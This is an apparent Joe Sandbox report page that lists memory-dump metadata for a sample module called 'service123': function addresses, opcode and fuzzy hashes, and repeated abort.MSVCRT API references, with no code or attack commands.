Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID: `:m
API String ID: 4206212132-4174968626
Opcode ID: bb7051944cb8fc8040dd4c32f94b0d94b3eea1149417201a1994f77704fe5123
Instruction ID: 25f87dfd81a3b59875dcb256bfff2ef53251e5d92bac10917b05fde147ff0d1d
Opcode Fuzzy Hash: bb7051944cb8fc8040dd4c32f94b0d94b3eea1149417201a1994f77704fe5123
Instruction Fuzzy Hash: C0F03AB1509202DBF704EF18E0E4B6AB7B0FF06308F129948C5549B616D776E469CFC5

Function 6CFFBAD0 Relevance: 47.6, APIs: 26, Strings: 1, Instructions: 339COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CFE
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Strings

@, xrefs: 6CFFBAB1

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID: @
API String ID: 4206212132-2766056989
Opcode ID: e7a53f8e981942245ef79517762eb17e2aeb154ff7f650a354136be735f5126d
Instruction ID: 047dc9aa7cc434b9a5c244e2406165347a545cc73d97501264cb970803b770ef
Opcode Fuzzy Hash: e7a53f8e981942245ef79517762eb17e2aeb154ff7f650a354136be735f5126d
Instruction Fuzzy Hash: 69B10B32A0831A8FD3108F6CC4D076AB7E2EB85314F45496DDAA497BB5D735D90AC781

Function 6CFF2290 Relevance: 42.4, APIs: 28, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 459a5b49cb797e5a424d6ac7034bdc9b237275254a6c946e003ad7bb25266816
Instruction ID: 44b39ca153e860301100d8b33b0946d84b95b845e601e48a6edd2145290c46e6
Opcode Fuzzy Hash: 459a5b49cb797e5a424d6ac7034bdc9b237275254a6c946e003ad7bb25266816
Instruction Fuzzy Hash: F4C1AFB16042418FD705CF28C48435AB7E2EB45308F658969D8A8CFB65D77AE90BCB90

Function 6CFFB7A0 Relevance: 42.2, APIs: 28, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f8fcc50e8751bf61e1d9b753736f9ac1a4e19109552791d82ffb9a5943868e0
Instruction ID: 1dedae8f72ec173aca2cbe6a68ae3b0c8142ef6dcef2fce20cf5c3810d3db33a
Opcode Fuzzy Hash: 6f8fcc50e8751bf61e1d9b753736f9ac1a4e19109552791d82ffb9a5943868e0
Instruction Fuzzy Hash: 3841C27690934A9FE710CF29C0C07267BE0EF86318F18899DD9A54BB62D335E847C781

Function 6CFF29F0 Relevance: 42.1, APIs: 28, Instructions: 78COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6D0C6CF4
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CF9
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CFE
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: af7de04199fdbe9dcff8e64e8173d44ba55e4f0fbbc8bcbf83ec608fee535159
Instruction ID: 105181aa3245000156dc0c79c015ce05818d5755f64489f9b5deb710679f7921
Opcode Fuzzy Hash: af7de04199fdbe9dcff8e64e8173d44ba55e4f0fbbc8bcbf83ec608fee535159
Instruction Fuzzy Hash: 1301E8B2505201CFF708EF28E4D5B6A77B0FB16309F119A48D294DB611D775E458CF91

Function 6CFF28BB Relevance: 42.1, APIs: 28, Instructions: 73COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6D0C6CF4
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CF9
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CFE
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: c985258ef402f2729ad2cbc493a1e66cb6b32ff4ee30782095075583f39e4690
Instruction ID: ce5bd50bec88c5b1c8a478609aac8c395624d700365e1b3364553d88bbe2fedd
Opcode Fuzzy Hash: c985258ef402f2729ad2cbc493a1e66cb6b32ff4ee30782095075583f39e4690
Instruction Fuzzy Hash: E2013CB2509201CBF704EF18E4D5B6AB7B0FB12309F119A48D2959B611C736E419CFD1

Function 6CFF2A6E Relevance: 42.1, APIs: 28, Instructions: 71COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6D0C6CF4
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CF9
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CFE
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 416be9048eb021c28ccf7a51639a63010dd661ea13ef6db4c41c9fd612aed8b7
Instruction ID: 6d3e77e74751cd0afed683e36a8fefe8a4bcbfa1ad755f3061e792061b04b849
Opcode Fuzzy Hash: 416be9048eb021c28ccf7a51639a63010dd661ea13ef6db4c41c9fd612aed8b7
Instruction Fuzzy Hash: 460149B2509202DBF704EF18E4D5B6AB7B0FF12308F129A48C5549B611C736E418CFD1

Function 6CFF2B13 Relevance: 42.1, APIs: 28, Instructions: 69COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6D0C6CF4
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CF9
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CFE
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 36fc8006981284e0204008158fd559c54e5ecc8ba6938c3ec202bb388b0755b1
Instruction ID: 4e380e0afcff042ae59794bd7aeaaf25f96b2e295219655314b8843d514dd957
Opcode Fuzzy Hash: 36fc8006981284e0204008158fd559c54e5ecc8ba6938c3ec202bb388b0755b1
Instruction Fuzzy Hash: 46F067B2909202DBF704EF18E4D4B6AB7B0FF02308F129A48C2549B612C776E468CFD1

Function 6CFF2AAD Relevance: 42.1, APIs: 28, Instructions: 65COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6D0C6CF4
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CF9
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CFE
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

